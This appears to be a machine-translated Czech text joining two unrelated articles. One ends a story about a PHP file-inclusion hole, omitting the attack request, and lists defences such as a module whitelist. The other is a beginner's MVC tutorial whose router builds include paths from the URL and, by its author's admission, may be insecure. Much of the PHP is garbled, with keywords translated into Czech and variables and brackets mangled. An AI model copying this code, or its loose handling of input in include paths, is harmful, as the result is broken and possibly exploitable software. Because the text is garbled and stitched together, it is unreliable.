Autor tohoto skriptu předpokládal, že všichni návštěvníci webu se budou pokojně pohybovat z jedné stránky na druhou klikáním na tlačítka, odkazy a další ovládací objekty. A skript v závislosti na předávaném parametru souboru připojí ten či onen modul, čímž vygeneruje různé html stránky (nejčastěji se takto používá include).
Nedovedl si ani představit, že by se jednoho dne (v chladném zimním období) na místo zatoulala jistý zvídavý Vasja Pupkin. Kdo by na základě své zvědavosti při pohledu na tyto odkazy předpokládal (zatímco ještě neví jak a co tam vlastně je), že parametr file není nic jiného než jméno a cesta k souboru a že skript používá include funkce (není se čemu divit, protože dnes include se používá téměř v každém 3. skriptu). Vasya se okamžitě rozhodl otestovat svůj předpoklad takto:
Vasya provedl následující požadavek:
A on to dokázal! Jak bylo zamýšleno, v okně prohlížeče viděl seznam souborů a adresářů. Dále byla objevena „díra“ a byly použity neméně zajímavé scénáře, Detailní popis které by zabíraly hodně místa a z těchto důvodů se zde nepublikují :) Obecně to na dlouhou dobu či krátkou dobu skončilo znehodnocením (defacement - záměna domovská stránka k tvému). Jak smutný příběh!
Hubení škůdců
Po přečtení všeho výše uvedeného si mnozí z vás kladou otázku: „Existují způsoby, jak bojovat s touto hroznou zranitelností? "Ano," odpovídám hrdě :) . Zde jsou některé (ne všechny) z nich:
Z programátorského hlediska je nejjednodušší převést proměnnou $module do číselného formátu (settype($module,"integer"), ale to bude vyžadovat očíslování modulů a také jejich shromažďování v jednom adresáři ("module1" .php“, „module2.php“ …“module.php“).
Složitější metoda hubení škůdců z hlediska implementace :) je vytvoření samostatného souboru-seznamu modulů, které lze spustit. A podle toho, zda je ten či onen modul v seznamu, spusťte nebo vyhoďte odpovídající chybu (nebo modul spusťte standardně, nebo chcete-li „experimentátora“ vyděsit zprávou, že jeho adresa je pevná a suší sušenky...).
Příklad:
switch ($case) // $case - jméno proměnné předané jako parametr skriptu
{
zprávy o případu:
include("novinky.php");
přestávka;
články o případu:
include("kniha hostů.php");
přestávka;
... // atd.
výchozí:
include("index.php"); // pokud proměnná $case neobsahuje hodnotu, která je zohledněna výše, otevře se hlavní stránka
přestávka;
}
Třetí metoda je střední – něco mezi 1. a 2. metodou. Stačí pouze nahradit všechny servisní znaky (..","/",""), například pomlčkami. Je pravda, že moduly (pouze spustitelné moduly a nic jiného by tam nemělo být umístěno!!!) by v tomto případě měly být umístěny ve stejném adresáři, ale jejich názvy mohou být normální slova (například „novinky“, „kniha hostů“ atd. .).
Závěr
To je v podstatě vše, co jsem vám tentokrát chtěl říct. Závěr z toho všeho by mohl být tento: než použijete data přijatá od uživatele ve svých webových skriptech, zamyslete se nad tím, zda je není třeba předem zkontrolovat a řádně zpracovat. To platí nejen pro datová pole formuláře přenášená prohlížečem ( získat metody a post), ale také cookies (může se k nim dostat i útočník).
Mnoho lidí začne psát projekt, aby pracovalo s jediným úkolem, aniž by naznačovalo, že se může rozvinout do systému správy více uživatelů, například obsahu nebo nedej bože produkce. A všechno se zdá skvělé a cool, všechno funguje, dokud nezačnete chápat, že napsaný kód se skládá výhradně z berliček a pevného kódu. Kód je smíchán s rozložením, dotazy a berličkami, někdy dokonce nečitelný. Vyvstává naléhavý problém: při přidávání nových funkcí se musíte s tímto kódem velmi dlouho vrtat a pamatovat si „co tam bylo napsáno? a proklínat se v minulosti.Možná jste dokonce slyšeli o designových vzorech a dokonce jste listovali v těchto úžasných knihách:
- E. Gamma, R. Helm, R. Johnson, J. Vlissides „Objektově orientované konstrukční techniky. Designové vzory";
- M. Fowler "Architecture of Enterprise Software Applications."
Tento článek bude užitečný především pro začátečníky. V každém případě doufám, že si za pár hodin budete moci udělat představu o implementaci vzoru MVC, který je základem všech moderních webových frameworků, a také získáte „potravu“ pro další úvahy o tom, „jak na to Udělej to." Na konci článku je výběr užitečných odkazů, které vám také pomohou pochopit, z čeho se skládají webové rámce (kromě MVC) a jak fungují.
Zkušení PHP programátoři v tomto článku pravděpodobně nenajdou nic nového pro sebe, ale jejich komentáře a komentáře k hlavnímu textu by byly velmi užitečné! Protože Bez teorie je praxe nemožná a bez praxe je teorie k ničemu, pak bude nejdřív trochu teorie a pak přejdeme k praxi. Pokud jste již obeznámeni s konceptem MVC, můžete přeskočit teoretickou část a přejít rovnou k praxi.
1. Teorie Vzor MVC popisuje jednoduchý způsob strukturování aplikace, jejímž účelem je oddělit obchodní logiku od uživatelského rozhraní. Díky tomu je aplikace jednodušší škálovat, testovat, udržovat a samozřejmě implementovat.Podívejme se na koncepční diagram vzoru MVC (podle mého názoru je to nejúspěšnější diagram, který jsem viděl):
V architektuře MVC model poskytuje data a pravidla obchodní logiky, pohled je zodpovědný za uživatelské rozhraní a řadič zajišťuje interakci mezi modelem a pohledem.
Typický tok aplikace MVC lze popsat následovně:
Tím se zobrazí pohled řekněme na hlavní stránku webu.
která například obsahuje modelová volání, která čtou informace z databáze.
Model by neměl přímo interagovat s uživatelem. Všechny proměnné související s požadavkem uživatele musí být zpracovány v regulátoru.
Model by neměl generovat HTML nebo jiný zobrazovaný kód, který se může měnit v závislosti na potřebách uživatele. Takový kód by měl být zpracován v zobrazeních.
Stejný model, například: model autentizace uživatele lze použít v uživatelské i administrativní části aplikace. V tomto případě můžete obecný kód přesunout do samostatné třídy a dědit z ní a definovat metody specifické pro podaplikaci v jejích potomcích.
Pohled – slouží k určení externího zobrazení dat přijatých z regulátoru a modelu.
Pohledy obsahují značky HTML a malé vložky kódu PHP pro procházení, formátování a zobrazování dat.
Neměl by přímo přistupovat k databázi. To je to, co by modely měly dělat.
Neměl by pracovat s daty získanými z požadavku uživatele. Tento úkol musí provést regulátor.
Může přímo přistupovat k vlastnostem a metodám regulátoru nebo modelů, aby získal data připravená k výstupu.
Pohledy se obvykle dělí na společnou šablonu obsahující označení společné pro všechny stránky (například záhlaví a zápatí) a části šablony, které se používají k zobrazení výstupu dat z modelu nebo zobrazení formulářů pro zadávání dat.
Řadič je lepidlo, které spojuje modely, pohledy a další komponenty do fungující aplikace. Správce je odpovědný za zpracování požadavků uživatelů. Řadič by neměl obsahovat SQL dotazy. Je lepší je nechat v modelech. Řadič by neměl obsahovat HTML nebo jiné značky. Vyplatí se to přiblížit.
V dobře navržené aplikaci MVC jsou řadiče obvykle velmi tenké a obsahují pouze několik desítek řádků kódu. Totéž nelze říci o Stupid Fat Controllers (SFC) v CMS Joomla. Logika ovladače je zcela typická a většina z ní je přenesena do základních tříd.
Modely jsou naopak velmi tlusté a obsahují většinu kódu souvisejícího se zpracováním dat, protože datová struktura a obchodní logika v ní obsažené jsou obvykle zcela specifické pro konkrétní aplikaci.
Doufám, že jste si již všimli, že různé weby mohou mít zcela odlišné formáty pro konstrukci adresního řádku. Každý formát může zobrazit architekturu webové aplikace. I když tomu tak není vždy, ve většině případů jde o jasný fakt.
Zvažme dvě možnosti pro adresní řádek, které zobrazují nějaký text a uživatelský profil.
První možnost:
Druhá možnost:
Vícedotykový přístup můžete vidět na fórech phpBB. Fórum se prohlíží pomocí skriptu viewforum.php, téma se prohlíží přes viewtopic.php atd. Druhý přístup, přístupný přes jediný fyzický skriptový soubor, lze vidět v mém oblíbeném CMS MODX, kde všechna volání procházejí přes index.php.
Tyto dva přístupy jsou zcela odlišné. První je typický pro vzor Page Controller a druhý přístup je implementován vzorem Front Controller. Řadič stránky je vhodný pro weby s poměrně jednoduchou logikou. Řadič požadavků zase konsoliduje všechny činnosti zpracování požadavků na jednom místě, což mu poskytuje další možnosti, které vám mohou umožnit implementovat složitější úkoly, než které obvykle řeší řadič stránek. Nebudu zabíhat do detailů implementace page controlleru, ale pouze řeknu, že v praktické části bude vyvíjen request controller (něco podobného).
1.2. Směrování URL Směrování URL vám umožňuje nakonfigurovat vaši aplikaci tak, aby přijímala požadavky z adres URL, které se neshodují skutečné soubory aplikace a také využívají CNC, které jsou pro uživatele sémanticky smysluplné a preferované pro optimalizaci pro vyhledávače.Například pro běžná stránka, zobrazující formulář zpětné vazby, může adresa URL vypadat takto:
http://www.example.com/contacts.php?action=feedback
Přibližný kód zpracování v tomto případě:
switch ($_GET ["action" ]) ( case "about" : required_once ("about.php" ); // konec stránky "O nás" ; case "contacts" : required_once ("contacts.php" ); // stránka "Kontakty" break ; case "feedback" : required_once ( "feedback.php" ); default : required_once ( "page404.php" );
Myslím, že to už udělal skoro každý.
Pomocí stroje pro směrování adres URL můžete nakonfigurovat aplikaci tak, aby přijímala požadavky, jako je tato, aby zobrazovala stejné informace:
http://www.example.com/contacts/feedback
Zde kontakty představují ovladač a zpětná vazba je metoda ovladače kontaktů, která zobrazuje formulář zpětné vazby atd. K této problematice se vrátíme v praktické části.
Rovněž stojí za to vědět, že mnoho směrovačů webových frameworků umožňuje vytvářet vlastní trasy URL (specifikujte, co každá část adresy URL znamená) a pravidla pro jejich zpracování.
Nyní máme dostatečné teoretické znalosti, abychom mohli přejít do praxe.
Při pohledu do budoucna řeknu, že základní třídy Model, View a Controller budou uloženy ve složce jádra.
Jejich děti budou uloženy v adresářích controllerů, modelů a pohledů. Vstupním bodem do aplikace je soubor index.php. Soubor bootstrap.php zahájí načítání aplikace, připojení všech potřebných modulů atp.
Půjdeme postupně; Otevřeme soubor index.php a naplníme jej následujícím kódem:
ini_set("display_errors" , 1); require_once "application/bootstrap.php" ;
Tady by neměly být žádné otázky.
Dále okamžitě přejdeme k souboru bootstrap.php:
require_once "core/model.php" ; require_once "core/view.php" ; require_once "core/controller.php" ; require_once "core/route.php" ; Trasa::start(); //spusťte router
První tři řádky budou obsahovat aktuálně neexistující soubory jádra. Poslední řádky obsahují soubor s třídou routeru a spouštějí jej ke spuštění voláním metody statického startu.
RewriteEngine On RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
Tento kód přesměruje veškeré zpracování stránky na index.php, což je to, co potřebujeme. Pamatujete si, že jsme v prvním díle mluvili o Front Controller?!
Směrování umístíme do samostatného souboru route.php v adresáři core. V tomto souboru popíšeme třídu Route, která bude spouštět metody kontroleru, které zase vygenerují zobrazení stránky.
Obsah souboru route.php
class Route ( statická funkce start () ( // ovladač a výchozí akce $controller_name = "Main" ; $action_name = "index" ; $routes = explode("/" , $_SERVER ["REQUEST_URI" ]); // získat název ovladače if (!empty ($routes )) ( $controller_name = $routes ; ) // získat název akce if (!empty ($routes )) ( $action_name = $routes ; ) // přidat předpony $model_name = " Model_" .$name_controller ; $controller_name = "Controller_" .$name_controller ; $action_name = "action_" .$action_name .$action_name ; ($model_name ; ".php" ; $model_path = "application/models/" .$model_file ; if (file_exists($model_path )) ( include "application/models/" .$model_file ; ) // připojte soubor. s třídou ovladače $soubor_řadiče = strtolower ($název_řadiče).php" ; $cesta k ovladači = "aplikace/řadiče/" .$soubor_řadiče ; if (soubor_existuje($cesta_řadiče )) (zahrnout "aplikace/řadiče/" .$soubor_řadiče ; ) else ( /* zde by bylo správné vyvolat výjimku, ale pro zjednodušení se okamžitě přesměrujeme na stránku 404 */ Route::ErrorPage404(); ) // vytvořte řadič $controller = new $controller_name ; $akce = $jméno_akce ; if (method_exists($controller , $action )) ( // volání akce ovladače $controller ->$action (); ) else ( // zde by bylo také moudřejší vyvolat výjimku Route::ErrorPage404(); ) ) function ErrorPage404 ( ) ( $host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; header("HTTP/1.1 404 Not Found" ); header("Status: 404 Not Found" ) ; záhlaví(" Umístění:" .$hostitel ."404" ) );
Podotýkám, že třída implementuje velmi zjednodušenou logiku (i přes objemný kód) a může mít dokonce bezpečnostní problémy. Bylo to provedeno záměrně, protože... napsání plnohodnotné třídy směrování si zaslouží minimálně samostatný článek. Podívejme se na hlavní body...
Globální prvek pole $_SERVER["REQUEST_URI"] obsahuje úplnou adresu, na kterou uživatel kontaktoval.
Například: example.ru/contacts/feedback
Pomocí funkce explodovat Adresa je rozdělena na komponenty. V důsledku toho dostaneme název ovladače, pro uvedený příklad je to controller kontakty a název akce, v našem případě - zpětná vazba.
Dále se připojí soubor modelu (model může chybět) a soubor kontroleru, pokud existuje, a nakonec se vytvoří instance kontroleru a zavolá se akce, znovu, pokud byla popsána ve třídě kontroleru.
Když tedy přejdete například na adresu:
example.com/portfolio
nebo
example.com/portfolio/index
Router provede následující akce:
example.com/ufo
poté bude přesměrován na stránku „404“:
example.com/404
Totéž se stane, pokud uživatel přistoupí k akci, která není popsána v ovladači.2.2. Vraťme se k implementaci MVC Pojďme do základní složky a do souboru route.php přidejte další tři soubory: model.php, view.php a controller.php.
Dovolte mi připomenout, že budou obsahovat základní třídy, které nyní začneme psát.
Obsah souboru model.php
model třídy ( veřejná funkce get_data ( ) ( ) )
Třída modelu obsahuje jednu prázdnou metodu načítání dat, která bude v podřízených třídách přepsána. Když vytvoříme třídy potomků, vše bude jasnější.
Obsah souboru view.php
class View ( //veřejné $template_view; // zde můžete zadat výchozí obecné zobrazení. funkce vygenerovat ($content_view , $template_view , $data = null) ( /* if(is_array($data)) ( // převést pole elementy do proměnných extrakt($data ) */ include "application/views/" .$template_view ;
Není těžké uhodnout, že metoda Není těžké uhodnout, že metoda generovat
k zobrazení obsahu konkrétní stránky.
k zobrazení obsahu konkrétní stránky.
V našem případě bude obecná šablona obsahovat záhlaví, nabídku, postranní panel a zápatí a obsah stránky bude obsažen v samostatném formuláři. Opět se to dělá pro jednoduchost.
class Controller ( public $model ; public $view ; funkce __construct () ( $this ->view = new View(); ) ) )
Metoda Metoda- tato akce se volá standardně, přepíšeme ji při implementaci podřízených tříd.
Na předchozím obrázku je samostatně zvýrazněn soubor template_view.php - jedná se o šablonu obsahující označení společné pro všechny stránky. V nejjednodušším případě by to mohlo vypadat takto:
Domov
Abychom webu dodali reprezentativní vzhled, vytvoříme šablonu CSS a integrujeme ji do našeho webu změnou struktury označení HTML a propojením souborů CSS a JavaScript:
Na konci článku v sekci „Výsledek“ je odkaz na úložiště GitHub s projektem, ve kterém byly podniknuty kroky k integraci jednoduché šablony.
class Controller_Main rozšiřuje Controller ( funkce action_index () ( $this ->view->generate("main_view.php" , "template_view.php" ); ) )
V metodě Není těžké uhodnout, že metoda instance třídy View jsou předány názvy souborů obecné šablony a pohled s obsahem stránky.
Kromě indexové akce může ovladač samozřejmě obsahovat i další akce.
Soubor obecného zobrazení jsme zkontrolovali dříve. Zvažte obsahový soubor main_view.php:
Vítejte! OLOLOSHA TEAM je tým prvotřídních specialistů v oblasti vývoje webových stránek s mnohaletými zkušenostmi se sběrem mexických masek, bronzových a kamenných soch z Indie a Cejlonu, basreliéfů a soch vytvořených mistry rovníkové Afriky pět nebo šest století před...
To obsahuje jednoduché značkování bez volání PHP.
Pro zobrazení hlavní stránky můžete použít jednu z následujících adres:
- metody knihoven, které implementují abstrakci dat. Například metody knihovny PEAR MDB2;
- metody ORM;
- metody práce s NoSQL;
- atd. Pro jednoduchost zde nebudeme používat SQL dotazy ani ORM příkazy. Místo toho budeme emulovat skutečná data a okamžitě vrátíme pole výsledků.
- Šablona()- nahradit sadu proměnných do šablony a zobrazit ji na obrazovce;
- IsGet()- zkontrolovat, zda byl požadavek GET dokončen;
- IsPost()- zkontrolovat, zda byl požadavek POST dokončen.
- Volání modelu (OnInput());
- Generování HTML (OnOutput()). První fáze by měla fungovat v následujícím pořadí:
- Základní ovladač (C_Base);
- Konkrétní ovladač (C_View nebo C_Edit). Dále začíná fáze generování HTML, měla by probíhat v opačném pořadí:
- Konkrétní ovladač (C_View nebo C_Edit);
- Základní ovladač (C_Base).
Umístěte soubor modelu model_portfolio.php do složky models. Zde je jeho obsah:
class Model_Portfolio rozšiřuje Model ( veřejná funkce get_data () ( návratové pole (pole ("Rok" => "2012" , "Stránka" => "http://DunkelBeer.ru" , "Popis" => "Propagační stránka tmavé pivo Dunkel od německého výrobce Löwenbraü vyrobené v Rusku pivovarskou společností "SUN InBev ), pole ("Rok" => "2012" , "Stránka" => "http://ZopoMobile.ru" , "Popis." " => "Ruskojazyčný katalog čínských telefonů od Zopo založených na OS Android a příslušenství k nim."), // todo ) )
Třída řadiče modelu je obsažena v souboru controller_portfolio.php, zde je její kód:
class Controller_Portfolio rozšiřuje Controller ( funkce __construct () ( $this ->model = new Model_Portfolio(); $this ->view = new View(); ) funkce action_index () ( $data = $this ->model->get_data( ); $this ->view->generate("portfolio_view.php" , "template_view.php" , $data ) );
Do proměnné data pole vrácené metodou je zapsáno získat_data na které jsme se podívali dříve.
Tato proměnná je pak předána jako parametr metody Není těžké uhodnout, že metoda, který dále obsahuje: název souboru s obecnou šablonou a název souboru obsahujícího pohled s obsahem stránky.
Pohled obsahující obsah stránky je v souboru portfolio_view.php.
Portfolio
Rok | Projekt | Popis |